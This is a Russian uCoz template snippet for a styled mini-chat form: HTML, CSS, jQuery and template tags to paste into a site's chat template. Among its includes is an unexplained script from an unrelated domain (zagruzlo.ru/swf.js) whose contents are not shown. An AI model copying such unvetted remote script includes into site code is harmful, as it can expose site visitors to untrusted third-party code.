Красивый мини-чат

Рейтинг:3.0

В наше время всегда ценится красота и простата ,так вот данный мини-чат доказательство этому

Вставляем в Вид Материалов мини-чата:

Code

Вставляем в Форма добавления сообщений мини-чата:

Code

<br><link type="text/css" rel="StyleSheet" href="http://electrolife.at.ua/chats/stayk.css">
  <script type="text/javascript" src="http://s40.ucoz.net/src/u.js?2"></script>
  <link type="text/css" rel="StyleSheet" href="http://electrolife.at.ua/chats/colorpicker.css" />
  <script type="text/javascript" src="http://electrolife.at.ua/chats/uMain.js"></script>
  <script src="http://zagruzlo.ru/swf.js" type="text/javascript"></script>
  <form style="margin:0;padding:0;" id="MCaddFrm" onsubmit="sbtFrmMC991();return false;">
  <div style="display: none;position:relative;top:37px;" id="mchatAjax"><center><img src="/mchats/load.gif"></center></div>

  <style type="text/css">
  .mChatNo {border:1px solid #aaa; background:url('http://electrolife.at.ua/chats/bg_.png'); position:absolute; width:228px; height:35px; padding-top:8px; text-align:center; text-shadow:1px 1px 0px #ddd; -webkit-border-radius:2px 2px 2px 2px;-moz-border-radius:2px 2px 2px 2px;border-radius:2px 2px 2px 2px;}
  #mchatMsgF {border:1px solid #5ba2e5; border-right:0px; background:#fff; color:#000; font-family:tahoma; font-size:11px; height:45px !important; width:230px !important; padding:1px; display:inline; margin:0px; float:left; -webkit-border-radius:2px 0px 0px 2px;-moz-border-radius:2px 0px 0px 2px;border-radius:2px 0px 0px 2px;}
  #mchatMsgF:focus {border:1px solid #5ba2e5; border-right:0px;}

  .mchatBtn {border:1px solid #5ba2e5; background:#77b5ef; color:#fff; font-family:tahoma; font-size:11px; height:45px !important; width:45px !important; font-weight:bold; margin:0px; cursor:pointer; margin-right:0px; margin-left:0px; text-shadow:1px 1px 0px rgba(0,0,0,0.45); -webkit-border-radius:0px 2px 2px 0px;-moz-border-radius:0px 2px 2px 0px;border-radius:0px 2px 2px 0px;}
  </style>

  <div id="bbChatBg"><img src="http://electrolife.at.ua/mchats/format-text-bold.png" class="imgB" onclick="bbCode('b');"><img src="http://electrolife.at.ua/mchats/format-text-italic.png" class="imgB" onclick="bbCode('i');"><img src="http://electrolife.at.ua/mchats/format-text-underline.png" class="imgB" onclick="bbCode('u');"><img src="http://electrolife.at.ua/mchats/format-text-strikethrough.png" class="imgB" onclick="bbCode('s');"><img src="http://electrolife.at.ua/mchats/hr.png" class="vBB"><img src="http://electrolife.at.ua/mchats/addImagebbcode.png" class="imgB" onclick="addimagebb();"><img src="http://electrolife.at.ua/mchats/emailbb.png" class="imgB" onclick="wndBBcodeAct('mail');">
  </div>
  <?if($USER_LOGGED_IN$)?>
  <div style="padding:2px;"></div>

  <div class="mChatNo" id="mchatAjax" style="display:none;">Пожалуйста подождите, <div style="padding:1px;"></div> отправка сообщения!</div>
  <textarea name="mcmessage" class="mchat" id="mchatMsgF" title="Сообщение" onkeyup="countMessLength();" onfocus="countMessLength();" style=""></textarea><input type="button" onclick="$('.mchat').click()" value="OK" class="mchatBtn"><div style="display:none;"><input value="OK" class="mchat" id="mchatBtn" style="display:block !important" type="submit"></div>
<?if($MSGCTRL_URI$)?> <a href="$MSGCTRL_URI$" title="Управление сообщениями">Управление сообщениями</a><?endif?>
  <a href="$RELOAD_URI$" title="Обновить">
  <div style="float:right">Обновить чат</div></a>

  <script type="text/javascript">
  $("img#mchatAjax").attr('src','http://electrolife.at.ua/mchats/_Loading.gif').removeAttr('width');
  $('.imgB').hover(function(){
  $(this).animate({opacity:1.0},500)
  },function(){
  $(this).animate({opacity:0.5})
  } );
  </script>
  <style>
  .imgB{padding-right:3px;opacity:0.5}
  .vBB{padding-right:2px;}
  </style>
  <input type="hidden" name="numa" id="numa832" value="0"><input type="hidden" name="a" value="18"><input type="hidden" id="ajaxFlag" name="ajax" value="1" /></form>

  <?if($FLD_SECURE$)?>
  <table border="0" cellpadding="1" cellspacing="1" width="100%">
  <tr><td width="50%">$FLD_SECURE$</td><td align="right">$IMG_SECURE$</td></tr>
  </table>
  <?endif?>

  <?else?>

  <div style="padding: 2px;"></div>
  <div class="mChatNo">Авторизируйтесь, чтобы <div style="padding: 1px;"></div> отправить сообщение!</div>

  <textarea name="mcmessage" class="mchat" id="mchatMsgF" title="Сообщение" onkeyup="countMessLength();" onfocus="countMessLength();" style=""></textarea><a href="$LOGIN_LINK$"><input onclick="$('.mchat').click()" value="OK" class="mchatBtn" type="button"><div style="display: none;"><input value="OK" class="mchat" id="mchatBtn"></div>
  </a>

  <style>
  .imgB{padding-right:3px;opacity:0.5}
  .vBB{padding-right:2px;}
  </style>
  <input name="numa" id="numa832" value="0" type="hidden"><input name="a" value="18" type="hidden"><input id="ajaxFlag" name="ajax" value="1" type="hidden"></form>
  <script type="text/javascript">initSel7174();</script>

  <?endif?>